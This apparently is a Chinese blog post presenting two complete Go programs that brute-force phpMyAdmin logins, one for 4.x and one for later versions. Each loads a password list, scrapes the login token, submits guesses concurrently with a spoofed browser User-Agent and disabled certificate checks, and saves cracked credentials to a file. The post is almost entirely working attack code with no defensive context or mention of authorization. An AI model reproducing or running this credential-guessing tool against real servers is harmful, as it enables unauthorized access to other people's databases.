websec80

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理
package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"io"
	"log"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"regexp"
	"strings"
	"sync"
	"time"
)

type Config struct {
	TargetURL       string
	Username        string
	Passwords       []string
	MaxWorkers      int
	RequestInterval time.Duration
	UserAgent       string
}

var (
	client = &http.Client{
		Timeout: 10 * time.Second,
		Jar:     nil,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{
				InsecureSkipVerify: true,
			},
		},
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
	outputLock sync.Mutex
	done       = make(chan struct{})
)

func main() {
	if len(os.Args) < 4 {
		fmt.Println("Usage: phpmyadmin <url> <user> <pass_path> [max_workers] [interval]")
		fmt.Println("Example:")
		fmt.Println("  phpmyadmin https://example.com/phpmyadmin/ root ./pass.txt 2 4s")
		return
	}

	URL := os.Args[1]
	user := os.Args[2]
	pass := os.Args[3]
	maxWorkers := 2
	interval := 4 * time.Second

	if len(os.Args) > 4 {
		fmt.Sscanf(os.Args[4], "%d", &maxWorkers)
	}
	if len(os.Args) > 5 {
		if d, err := time.ParseDuration(os.Args[5]); err == nil {
			interval = d
		}
	}

	jar, err := cookiejar.New(nil)
	if err != nil {
		log.Fatalf("Create CookieJar failed: %v", err)
	}
	client.Jar = jar

	cfg := Config{
		TargetURL:       URL,
		Username:        user,
		Passwords:       loadPasswords(pass),
		MaxWorkers:      maxWorkers,
		RequestInterval: interval,
		UserAgent:       "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
	}

	startTime := time.Now()
	log.Printf("Start: %s, User: %s, Password count: %d\n", cfg.TargetURL, cfg.Username, len(cfg.Passwords))

	var wg sync.WaitGroup
	passwordChan := make(chan string, cfg.MaxWorkers)

	for i := 0; i < cfg.MaxWorkers; i++ {
		wg.Add(1)
		go worker(cfg, passwordChan, &wg)
	}

	go func() {
		for _, pwd := range cfg.Passwords {
			select {
			case passwordChan <- pwd:
				time.Sleep(cfg.RequestInterval)
			case <-done:
				return
			}
		}
		close(passwordChan)
	}()

	wg.Wait()
	log.Printf("End, time: %v\n", time.Since(startTime))
}

func worker(cfg Config, passwordChan <-chan string, wg *sync.WaitGroup) {
	defer wg.Done()
	for {
		select {
		case pwd, ok := <-passwordChan:
			if !ok {
				return
			}
			tryPassword(cfg, pwd)
		case <-done:
			return
		}
	}
}

func loadPasswords(filename string) []string {
	file, err := os.Open(filename)
	if err != nil {
		log.Fatalf("Open password file failed: %v", err)
	}
	defer file.Close()

	var passwords []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		pwd := strings.TrimSpace(scanner.Text())
		if pwd != "" {
			passwords = append(passwords, pwd)
		}
	}
	if err := scanner.Err(); err != nil {
		log.Fatalf("Read password file failed: %v", err)
	}
	return passwords
}

func tryPassword(cfg Config, password string) {
	outputLock.Lock()
	log.Printf("Try password: %s\n", password)
	outputLock.Unlock()

	token, err := extractToken(cfg.TargetURL, cfg.UserAgent)
	if err != nil {
		log.Printf("Extract Token failed: %v\n", err)
		return
	}
	log.Printf("Token: %s\n", token)

	// 根据实际表单字段构造POST数据
	loginData := url.Values{
		"pma_username": {cfg.Username},
		"pma_password": {password},
		"server":       {"1"},
		"target":       {"index.php"}, // 从表单中获取
		"token":        {token},
		"lang":         {"en"}, // 可选
	}

	req, err := http.NewRequest("POST", cfg.TargetURL, strings.NewReader(loginData.Encode()))
	if err != nil {
		log.Printf("Create POST request failed: %v\n", err)
		return
	}

	req.Header.Set("User-Agent", cfg.UserAgent)
	req.Header.Set("Referer", cfg.TargetURL)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Origin", extractOrigin(cfg.TargetURL))

	resp, err := client.Do(req)
	if err != nil {
		log.Printf("Login request failed: %v\n", err)
		return
	}
	defer resp.Body.Close()

	if isLoginSuccess(resp) {
		outputLock.Lock()
		log.Printf("[+] SUCCESS! Username: %s, Password: %s\n", cfg.Username, password)
		saveSuccess(cfg.TargetURL, cfg.Username, password)
		outputLock.Unlock()
		close(done)
		return
	}

	outputLock.Lock()
	log.Printf("[-] FAILED: %s:%s\n", cfg.Username, password)
	outputLock.Unlock()
}

func extractToken(targetURL, userAgent string) (string, error) {
	req, err := http.NewRequest("GET", targetURL, nil)
	if err != nil {
		return "", fmt.Errorf("Create GET request failed: %v", err)
	}
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")

	resp, err := client.Do(req)
	if err != nil {
		return "", fmt.Errorf("GET login page failed: %v", err)
	}
	defer resp.Body.Close()

	html, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", fmt.Errorf("Read HTML failed: %v", err)
	}
	htmlStr := string(html)

	// 调试:保存HTML到文件以便分析
	// os.WriteFile("debug.html", html, 0644)

	// 多种方式提取token
	tokenPatterns := []*regexp.Regexp{
		// 从input隐藏字段提取
		regexp.MustCompile(`<input[^>]*?name=["']token["'][^>]*?value=["']([^"']+)["']`),
		// 从script中提取
		regexp.MustCompile(`["']token["']\s*:\s*["']([^"']+)["']`),
		// 从URL参数中提取
		regexp.MustCompile(`token=([a-f0-9]{32})`),
		// 从commonParams中提取
		regexp.MustCompile(`token["']\s*:\s*["']([a-f0-9]{32})["']`),
	}

	for _, pattern := range tokenPatterns {
		matches := pattern.FindStringSubmatch(htmlStr)
		if len(matches) >= 2 {
			token := strings.TrimSpace(matches[1])
			if token != "" && len(token) >= 16 {
				return token, nil
			}
		}
	}

	// 尝试从HTML源码中直接搜索
	if idx := strings.Index(htmlStr, "name=\"token\""); idx != -1 {
		start := strings.Index(htmlStr[idx:], "value=\"")
		if start != -1 {
			start += idx + 7
			end := strings.Index(htmlStr[start:], "\"")
			if end != -1 {
				token := htmlStr[start:start+end]
				if len(token) >= 16 {
					return token, nil
				}
			}
		}
	}

	return "", fmt.Errorf("Token not found in HTML")
}

func isLoginSuccess(resp *http.Response) bool {
	// 1. 检查状态码
	if resp.StatusCode == 302 || resp.StatusCode == 301 {
		// 登录成功通常会重定向
		location, _ := resp.Location()
		if location != nil && !strings.Contains(location.String(), "index.php?") {
			// 成功重定向到非登录页
			return true
		}
	}

	// 2. 检查响应头
	contentType := resp.Header.Get("Content-Type")
	if strings.Contains(contentType, "text/html") {
		body, _ := io.ReadAll(resp.Body)
		htmlStr := string(body)
		
		// 登录成功后的特征
		successIndicators := []string{
			"Server version",       // phpMyAdmin版本信息
			"Server:",             // 服务器信息
			"MySQL charset:",      // MySQL字符集
			"Create new database", // 创建数据库选项
			"数据库",               // 中文版特征
			"phpMyAdmin 主界面",     // 主界面
			"快速入门",             // 快速入门
		}
		
		// 登录失败的特征
		failureIndicators := []string{
			"无法登录",             // 登录失败
			"Access denied",      // 拒绝访问
			"登录",               // 登录表单
			"用户名",             // 用户名输入框
			"密码",               // 密码输入框
			"pma_username",      // 用户名字段
			"pma_password",      // 密码字段
		}
		
		// 检查成功特征
		for _, indicator := range successIndicators {
			if strings.Contains(htmlStr, indicator) {
				return true
			}
		}
		
		// 检查失败特征
		for _, indicator := range failureIndicators {
			if strings.Contains(htmlStr, indicator) {
				return false
			}
		}
		
		// 如果没有找到登录表单,可能已登录
		if !strings.Contains(htmlStr, "login_form") && 
		   !strings.Contains(htmlStr, "pma_username") &&
		   !strings.Contains(htmlStr, "pma_password") {
			return true
		}
	}
	
	// 3. 检查是否有登录成功后的cookie
	for _, cookie := range resp.Cookies() {
		if strings.Contains(strings.ToLower(cookie.Name), "phpmyadmin") ||
		   strings.Contains(strings.ToLower(cookie.Name), "pma") ||
		   cookie.Name == "phpMyAdmin" {
			return true
		}
	}
	
	return false
}

func extractOrigin(urlStr string) string {
	u, err := url.Parse(urlStr)
	if err != nil {
		return ""
	}
	return fmt.Sprintf("%s://%s", u.Scheme, u.Host)
}

func saveSuccess(target, user, pwd string) {
	f, err := os.OpenFile("success.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Printf("Save result failed: %v", err)
		return
	}
	defer f.Close()
	f.WriteString(fmt.Sprintf("Target: %s\nUser: %s\nPassword: %s\n\n", target, user, pwd))
}

  以上是phpMyAdmin 4.x版本的登录页面

 

 

下面是其他版本

 

package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"io"
	"log"
	"net/http"
	"net/http/cookiejar"
	"net/url"
	"os"
	"regexp"
	"strings"
	"sync"
	"time"
)

type Config struct {
	TargetURL       string
	Username        string
	Passwords       []string
	MaxWorkers      int
	RequestInterval time.Duration
	UserAgent       string
}

var (
	client = &http.Client{
		Timeout: 10 * time.Second,
		Jar:     nil,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{
				InsecureSkipVerify: true,
			},
		},
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
	titleFail  = "Login - phpMyAdmin"
	outputLock sync.Mutex
	done       = make(chan struct{})
)

func main() {
	if len(os.Args) < 4 {
		fmt.Println("Usage: phpmyadmin <url> <user> <pass_path> [max_workers] [interval]")
		fmt.Println("Example:")
		fmt.Println("  phpmyadmin https://example.com/phpmyadmin/ root ./pass.txt 2 4s")
		return
	}

	URL := os.Args[1]
	user := os.Args[2]
	pass := os.Args[3]
	maxWorkers := 2
	interval := 4 * time.Second

	if len(os.Args) > 4 {
		fmt.Sscanf(os.Args[4], "%d", &maxWorkers)
	}
	if len(os.Args) > 5 {
		if d, err := time.ParseDuration(os.Args[5]); err == nil {
			interval = d
		}
	}

	jar, err := cookiejar.New(nil)
	if err != nil {
		log.Fatalf("Create CookieJar failed: %v", err)
	}
	client.Jar = jar

	cfg := Config{
		TargetURL:       URL,
		Username:        user,
		Passwords:       loadPasswords(pass),
		MaxWorkers:      maxWorkers,
		RequestInterval: interval,
		UserAgent:       "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
	}

	startTime := time.Now()
	log.Printf("Start: %s, User: %s, Password count: %d\n", cfg.TargetURL, cfg.Username, len(cfg.Passwords))

	var wg sync.WaitGroup
	passwordChan := make(chan string, cfg.MaxWorkers)

	for i := 0; i < cfg.MaxWorkers; i++ {
		wg.Add(1)
		go worker(cfg, passwordChan, &wg)
	}

	go func() {
		for _, pwd := range cfg.Passwords {
			select {
			case passwordChan <- pwd:
				time.Sleep(cfg.RequestInterval)
			case <-done:
				return
			}
		}
		close(passwordChan)
	}()

	wg.Wait()
	log.Printf("End, time: %v\n", time.Since(startTime))
}

func worker(cfg Config, passwordChan <-chan string, wg *sync.WaitGroup) {
	defer wg.Done()
	for {
		select {
		case pwd, ok := <-passwordChan:
			if !ok {
				return
			}
			tryPassword(cfg, pwd)
		case <-done:
			return
		}
	}
}

func loadPasswords(filename string) []string {
	file, err := os.Open(filename)
	if err != nil {
		log.Fatalf("Open password file failed: %v", err)
	}
	defer file.Close()

	var passwords []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		pwd := strings.TrimSpace(scanner.Text())
		if pwd != "" {
			passwords = append(passwords, pwd)
		}
	}
	if err := scanner.Err(); err != nil {
		log.Fatalf("Read password file failed: %v", err)
	}
	return passwords
}

func tryPassword(cfg Config, password string) {
	outputLock.Lock()
	log.Printf("Try password: %s\n", password)
	outputLock.Unlock()

	token, session, err := extractTokenAndSession(cfg.TargetURL, cfg.UserAgent)
	if err != nil {
		log.Printf("Extract Token/Session failed: %v\n", err)
		return
	}
	log.Printf("Token: %s, Session: %s\n", token, session)

	loginData := url.Values{
		"pma_username": {cfg.Username},
		"pma_password": {password},
		"server":       {"1"},
		"target":       {"/"},
		"token":        {token},
		"lang":         {"en"},
	}

	req, err := http.NewRequest("POST", cfg.TargetURL, strings.NewReader(loginData.Encode()))
	if err != nil {
		log.Printf("Create POST request failed: %v\n", err)
		return
	}

	req.Header.Set("User-Agent", cfg.UserAgent)
	req.Header.Set("Referer", cfg.TargetURL)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	resp, err := client.Do(req)
	if err != nil {
		log.Printf("Login request failed: %v\n", err)
		return
	}
	defer resp.Body.Close()

	if isLoginSuccess(resp) {
		outputLock.Lock()
		log.Printf("[+] Success! Password: %s\n", password)
		saveSuccess(cfg.TargetURL, cfg.Username, password)
		outputLock.Unlock()
		close(done)
		return
	}

	outputLock.Lock()
	log.Printf("[-] Failed: Wrong password or token invalid\n")
	outputLock.Unlock()
}

func extractTokenAndSession(targetURL, userAgent string) (string, string, error) {
	req, err := http.NewRequest("GET", targetURL, nil)
	if err != nil {
		return "", "", fmt.Errorf("Create GET request failed: %v", err)
	}
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")

	resp, err := client.Do(req)
	if err != nil {
		return "", "", fmt.Errorf("GET login page failed: %v", err)
	}
	defer resp.Body.Close()

	if resp.StatusCode >= 300 && resp.StatusCode < 400 {
		redirectURL, err := resp.Location()
		if err != nil {
			return "", "", fmt.Errorf("Parse redirect URL failed: %v", err)
		}
		resp, err = client.Get(redirectURL.String())
		if err != nil {
			return "", "", fmt.Errorf("Follow redirect failed: %v", err)
		}
		defer resp.Body.Close()
	}

	html, err := io.ReadAll(resp.Body)
	if err != nil {
		return "", "", fmt.Errorf("Read HTML failed: %v", err)
	}
	htmlStr := string(html)

	tokenRe := regexp.MustCompile(`(?i)<input[^>]*?name="(?:token|pma_token)"[^>]*?value="([^"]+)"`)
	tokenMatches := tokenRe.FindStringSubmatch(htmlStr)
	if len(tokenMatches) < 2 {
		return "", "", fmt.Errorf("Token not found")
	}
	token := tokenMatches[1]

	sessionRe := regexp.MustCompile(`(?i)<input[^>]*?name="(?:set_session)"[^>]*?value="([^"]+)"`)
	sessionMatches := sessionRe.FindStringSubmatch(htmlStr)
	if len(sessionMatches) < 2 {
		return "", "", fmt.Errorf("Session not found")
	}
	session := sessionMatches[1]
	return token, session, nil
}

func isLoginSuccess(resp *http.Response) bool {
	if resp.StatusCode >= 300 && resp.StatusCode < 400 {
		redirectURL, _ := resp.Location()
		if strings.Contains(redirectURL.String(), "/index.php?route=/&route=%2F") {
			return true
		}
	}

	content, _ := io.ReadAll(resp.Body)
	htmlStr := string(content)
	if strings.Contains(htmlStr, "PHP version") ||
		strings.Contains(htmlStr, "Web server") ||
		strings.Contains(htmlStr, "Database client version") {
		return true
	}
	if strings.Contains(htmlStr, "Access denied") ||
		strings.Contains(htmlStr, "using password: YES") {
		return false
	}
	
	return false
}

func saveSuccess(target, user, pwd string) {
	f, err := os.OpenFile("success.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Printf("Save result failed: %v", err)
		return
	}
	defer f.Close()
	f.WriteString(fmt.Sprintf("Target: %s\nUser: %s\nPassword: %s\n\n", target, user, pwd))
}

  

 

posted on 2026-03-09 10:54  websec80  阅读(2)  评论(0)    收藏  举报